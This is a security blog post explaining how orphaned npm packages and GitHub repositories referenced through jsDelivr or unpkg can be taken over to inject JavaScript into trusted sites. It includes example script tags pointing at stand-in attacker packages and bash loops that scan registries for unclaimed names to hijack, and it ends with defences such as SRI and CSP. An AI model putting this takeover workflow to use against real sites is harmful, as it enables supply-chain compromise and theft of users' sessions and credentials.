Abusing jsDelivr & unpkg for Arbitrary JavaScript Execution

How attacker-controlled GitHub or npm packages, combined with CDN trust, can silently inject malicious JavaScript into trusted apps.


Introduction

Modern development workflows favor convenience: quick setups, fast demos, and ready-to-use CDNs like jsDelivr and unpkg. But when that convenience involves embedding third-party scripts without verification, you're potentially exposing your users to silent, devastating attacks.

This post explores how attackers can abuse public CDN links to inject arbitrary JavaScript into production applications by exploiting:

  • jsDelivr's support for both GitHub and npm
  • unpkg's npm-only resolution
  • Persistent CDN caching behavior

Before diving into exploitation, let’s clarify how these CDNs work:


How jsDelivr and unpkg Resolve Packages

gh in jsDelivr (GitHub)

The gh path structure tells jsDelivr to fetch files directly from GitHub repositories:

https://cdn.jsdelivr.net/gh/<username>/<repo>@<tag>/<path-to-file>
  • <username> — GitHub user or org
  • <repo> — Repository name
  • <tag> — Commit SHA, tag, or branch
  • <path-to-file> — File path in the repo

npm in jsDelivr and unpkg

Both CDNs fetch from the npm registry, but jsDelivr uses an npm prefix:

https://cdn.jsdelivr.net/npm/<package>@<version>/<file>
https://unpkg.com/<package>@<version>/<file>
  • Published package on npmjs.com
  • Specified version and file path

The Attack Vector

CDNs allow embedding external scripts by referencing versioned URLs:

jsDelivr (GitHub-based)

<script src="https://cdn.jsdelivr.net/gh/attacker/repo@v1.0.0/payload.js"></script>

jsDelivr (npm-based)

<script src="https://cdn.jsdelivr.net/npm/evil-lib@1.0.0/dist/index.js"></script>

unpkg (npm-based only)

<script src="https://unpkg.com/evil-lib@1.0.0/dist/index.js"></script>

In all cases, attacker-controlled code runs in the user's browser.



jsDelivr Caching Behavior

  • First fetch pulls from GitHub/npm
  • Cached on CDN edges
  • Persisted even if source is deleted or privatized

Use the jsDelivr Purge Tool to explicitly cache:

https://purge.jsdelivr.net/gh/attacker/gh-poc@v1.0.0/payload.js

Scanning for Vulnerable CDN URLs (Identify Takeover Targets)

Begin by harvesting all JavaScript references (including CDN links) from the target application. Since jsDelivr and unpkg may not return HTTP 404 for removed or never-published versions, you need to extract the underlying package names (for npm URLs) or GitHub <username>/<repo> paths (for jsDelivr gh URLs) from each harvested URL. Once you have that list, probe these namespaces directly via the npm registry API or GitHub API — a true 404 response when querying registry.npmjs.org or api.github.com/repos indicates an unclaimed or deleted resource, making it a takeover candidate.

1. Enumerating CDN Usage at Scale

  1. Subdomain Enumeration: Discover domains and subdomains hosting your target app using tools like assetfinder, subfinder, or amass.
  2. JS URL Harvesting: Crawl each domain with hakrawler, waymore, or gau to extract JavaScript file URLs (including CDN links).
  3. Consolidation: Deduplicate and normalize URLs to focus on unique CDN endpoints.

2. Checking npm Package Existence

Use the npm registry API or HTTP HEAD requests to identify unclaimed package names:

while read pkg; do
  if curl -sI "https://registry.npmjs.org/$pkg" | grep -q '404'; then
    echo "[!] npm package '$pkg' not found — possible takeover target"
  fi
done < harvested_packages.txt

3. Checking GitHub Repo/Username Existence

Probe GitHub namespaces for missing repositories:

while IFS=/ read user repo; do
  if curl -sI "https://api.github.com/repos/$user/$repo" | grep -q '404'; then
    echo "[!] GitHub repo '$user/$repo' missing — potential namespace takeover"
  fi
done < harvested_repos.txt


Real-World Risks

  • Cookie/session token theft
  • Credential harvesting
  • Browser fingerprinting
  • Persistent backdoors on high-traffic sites

Defense: How to Protect Your Users

  1. Subresource Integrity (SRI)

    <script
      src="https://cdn.jsdelivr.net/npm/lib@1.2.3/dist/index.js"
      integrity="sha384-<hash>"
      crossorigin="anonymous">
    </script>
    
  2. Self-host critical scripts

  3. Audit dependencies for abandonments or maintainer changes

  4. Pin versions; avoid latest tags

  5. Strict CSP headers limiting script-src


Conclusion

This is not a zero-day vulnerability—it's a trust abuse. By enumerating missing namespaces and orphaned packages, attackers can prime the pipeline for a mass compromise. Always validate, lock, and monitor your CDN dependencies.